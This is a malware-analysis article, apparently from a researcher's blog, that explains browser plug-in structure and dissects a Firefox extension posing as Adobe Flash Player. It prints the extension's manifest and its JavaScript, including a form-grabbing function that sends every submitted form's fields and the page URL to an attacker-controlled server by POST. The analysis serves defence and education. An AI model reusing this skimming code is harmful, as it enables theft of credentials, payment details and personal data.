Browser plug-in

This article was published on the 22nd of July 2019. This report was updated on the 19th of March 2020, as well as on the 11th of May 2020.

Browsers are becoming increasingly complex applications, which users can customise in numerous ways. One way is to install plug-ins. By doing so, web pages are automatically altered. Examples of common plug-ins are enhancements for favourite websites or ad-blockers.

In this article, the lay-out of plug-ins for the most popular browsers will be discussed. After that, a malicious plug-in is analysed in the usual step-by-step method.

Table of contents

How do browser plug-ins work?

Browser plug-ins interact with the API of the browser, as well as the current web page. The browser’s API can be used to display an icon in the plug-in bar, it can display a notification. The current page is altered via the Javascript code that is embedded within the plug-in.

An ad-blocker, for example, removes advertisements from a web page, which can be done in multiple ways. One method is to remove the piece of Javascript which displays the advertisement from the page on the client’s side, thus removing the ad from view of the user.

The plug-in is written in Javascript and can use HTML and CSS to display messages to the user via the page or the browser. Since the plug-in can interact with other domains, it is possible to connect to back-end that is written in another language. This provides creators with a huge array of possibilities. Malware authors, in turn, abuse these possibilities for their own gain.

The file format

The plug-in is packed as a ZIP archive for the Firefox browser, whilst Google Chrome uses a different format. The Chrome plug-in format is a special ZIP file, which can be converted using a CRX Extractor, or a similar tool. The following files are present in the plug-in:

  1. A PNG file or a folder with a PNG file, which serves as the icon of the plug-in. Sometimes the icon is given in multiple sizes.
  2. The manifest.json file
  3. The main Javascript file, other files may also be present in the root and/or within sub-folders
  4. The META-INF folder in Firefox plug-ins or the _metadata folder in Chrome plug-ins
  5. Opionally, HTML and/or CSS files are present. These files are used to provide a user interface for the plug-in’s settings menu
  6. Other files may be present, depending on the specific plug-in

The manifest.json file contains information about the plug-in for the browser. It contains the version of the plug-in, the name, the script(s) to execute, the description, the link to the options page for the plug-in’s configuration, the permissions, and icons.

The META-INF (or _metadata) folder contains one or more files that contain the hashes of the files that are part of the plug-in. The signature of the browser’s market place is included to avoid editing this file. This way, one cannot simply change the Javascript and republish the signed plug-in. Changing it is still possible, when loading it via the developer mode.

The spread of malicious plug-ins

Plug-ins can be downloaded via two ways. The first and most common option, is to use the official market place of the browser. As the plug-ins are signed by the publisher of the browser, no additional steps are required when installing the plug-in.

Although the regulations on the market places mitigate most of the attempts to publish malicious plug-ins, not all are caught. The occasional slip-through is understandable, as the monitoring should not cause too many false positives. The reaction time to remove malicious plug-ins from the market place is rather fast, generally it takes a few hours at most before the plug-in is removed from the market place.

Aside from the official applications, one can also enable the developer mode, where an unsigned plug-in can be loaded into the browser. The amount of malicious plug-ins that are spread via this way are few, but cracked plug-ins (ones that normally cost money), are often spread like this. The lifespan of these plug-ins is much longer than the ones that are submitted to the browser’s market place, since there is no central place to remove the plug-in from.

Practical case

In this case, a malicious Firefox plug-in will be analysed. The sample was found via a Tweet of @petrovic082 and was downloaded from the Firefox plug-in market place by me. The sample can be found VirusBay, Malware Bazaar, or MalShare. Technical information regarding the sample is given below.

MD5: 7bd8131fe11e980ce4e79c37562cb161

SHA-1: faba949841fd8aa523929d296ac6584fa1a7fc44

SHA-256: ad7fdf82c9fce45568ef82521a413442f3657c6e65e4659a16166f0102649857

Size: 21.2 kilobytes

Extracted size: 22.8 kilobytes

Using 7zip, multiple files and a single folder are extracted from the Firefox plug-in. The folder, named META-INF, contains several files that verify the integrity of the files within the plug-in. These aren’t relevant for the analysis, whereas the files in the root of the extracted directory are of importance.

The icon.png file is the Adobe Flash Player logo, which gives a clue as to how the malware tries to disguise itself. Inspection of the manifest.json confirms this assumption:

"name": " Adobe Flash Player",

The rest of the manifest provides more information as to when and where the plug-in does what. Below, the complete manifest is given.

  "manifest_version": 2,
  "name": " Adobe Flash Player",
  "description": " Adobe Flash Player",
  "version": "2.2",
  "browser_action": {
    "default_icon": "icon.png"
   "content_scripts": [ {
      "all_frames": true,
      "js": [ 
      "matches": [ "http://*/*", "https://*/*" ]
   } ],
  "permissions": [ "http://*/*", "https://*/*" ]

As can be seen above, the manifest_version is equal to 2, which is the version of the manifest that is used in the plug-in. The name, description and version of the plug-in are given as well. The icon of the plug-in is set to icon.png.

The last two parts of the manifest provide information regarding the Javascript file that is used as a starting point, as well as the condition when the plug-in is active. The content_scripts is used to invoke the tuto.js script whenever a match occurs. Every HTTP(S) connection is a valid match, based on the given wild cards.

To be able to match any HTTP(S) connection, permission to do so is required. During the installation of the plug-in, the user is prompted with a list of all permissions that the plug-in requires. The installation is only completed when the user grants the required permissions.

The other files, popup.html and tuto.js, are left to analyse. The HTML file is an empty file, being there purely as a decoy, as this file is commonly used in benign plug-ins. The Javascript file contains five functions, and some loose code. The latter will be analysed first, as it provides insight in the general behaviour of the malicious code. Below, the general overview of the code is given.

var forms = document.forms;
function fucking(event) { ... }
for (index = 0; index < forms.length; ++index) {
    forms[index].addEventListener('submit', fucking); 
function readCookie(nam) { ... }
function writeCookie(name, value, hours) { ... }
function rememberPos() { ... }
chrome.extension.onMessage.addListener( ... );
var do_jump = readCookie('arp_scroll_switch');
if(do_jump && do_jump == '1') {
    var arp_jump = readCookie('arp_scroll_position');
    window.scrollTo(0, arp_jump);
window.addEventListener("scroll", rememberPos, false);

From this overview, two observations can be made. Firstly, for every form on the page, a listener is added for the submission of a form. The function that is called whenever such an event occurs is named fucking. Secondly, a handler is added for the scoll event.

Based on the general overview, the fucking function seems interesting, of which the code is given below. Note that the comment within the code is fom the author of the malicious plug-in.

function fucking(event) { 
    var xhr = new XMLHttpRequest();'POST', ''); // YOUR WEB SITE http or https
    var string = document.URL;                                         
    for (index = 0; index <; ++index) {
        string = string +[index].name + '=' +[index].value + '&';
	xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

At first, a new XML HTTP request object is created, which is later used to send a POST request. The document’s URL is saved in a variable named string.

The for-loop iterates through all elements of the event, which is the submission of a form in the browser. The name and value of each element within the form are then concatenated, after which the concatenated name and value pairs are appended to the previously saved URL. At last, the POST request is sent as an encoded form, according to the header. An example of the generated request body is given below.

The function and its connection to all form submissions on any HTTP(S) site that is used in the browser, allows the malware to send the obtained data towards the server of the actor. This way, the actor gets a collection of URLs and entered data, which can then be sold on underground market places.

An example of data that can be submitted are the credentials to a site, such as a bank or e-mail account. Another example is an order on a e-commerce site, where one enters personal details and credit card information to complete a purchase. As such, the criminal actor then has all the entered data, which can lead to financial loss to the victim, or even ID fraud.

The rest of the code in the file is given below.

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i = 0; i < ca.length; i++){
		var c = ca[i];
		while (c.charAt(0) == ' ') c = c.substring(1, c.length);
		if (c.indexOf(nameEQ) == 0) return decodeURIComponent(c.substring(nameEiQ.length, c.length));
	return null;
function writeCookie(name, value, hours) {
	var hostname = window.location.hostname;
	if (hours > 0) {
		var date = new Date();
		date.setTime(date.getTime() + (hours * 60 * 60 * 10000));
		var expires = "; expires=" + date.toGMTString();
	} else if(hours == -1) {
		var expires = "; expires=" + new Date().toGMTString()+"; max-age=0";
	} else {
		var expires = "";
	document.cookie = name + "=" + encodeURIComponent(value) + expires + "; path=/; domain="+hostname;
function rememberPos() {
	writeCookie('arp_scroll_position', window.pageYOffset, 6);
  function(request, sender, sendResponse) {
    var regex = new RegExp(request.checkme, "i");
	if(request.pattern == 'A') {
		if (regex.test(document.body.innerHTML)) {
		  sendResponse({findresult: "yes"});
		} else {
		  //Snub them.
	} else if(request.pattern == 'B') {
		if (!regex.test(document.body.innerHTML)) {
		  sendResponse({findresult: "yes"});
		} else {
		  //Snub them.
	} else if(request.pattern == 'C') {
		writeCookie('arp_scroll_switch', '1', 12);
	} else if(request.pattern == 'D') {
		writeCookie('arp_scroll_switch', '0', -1);
		writeCookie('arp_scroll_position', 0, -1);
var do_jump = readCookie('arp_scroll_switch');
if(do_jump && do_jump == '1') {
	var arp_jump = readCookie('arp_scroll_position');
	window.scrollTo(0, arp_jump);
window.addEventListener("scroll", rememberPos, false);

The code above does not look malicious, as the functions simply read and write a cookie. The event listener contains an if-else statement, which seems interact with the cookie that was written before. When searching for the strings that are used within the code, such as arp_scroll_switch, one can find that this code is copied from the open source plug-in Auto Refresh Plus, more specifically this file.


The malicious plug-in is small and compact in both size and length. Some efforts have been made to get the plug-in into the Firefox market place, but nothing more than the bare minimum. Potentially, the resemblance with the benign plug-in might have caused the malicious plug-in to end up on the public Firefox market place, although that is not certain.

As stated before, browsers are used more and more in our daily lives. A malicious plug-in like the one that is analysed in the practical case above, can have a tremendous impact on the life of a victim, even though the malware is rather simple.

To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], send me a PM on Reddit, or DM me on Twitter @Libranalysis.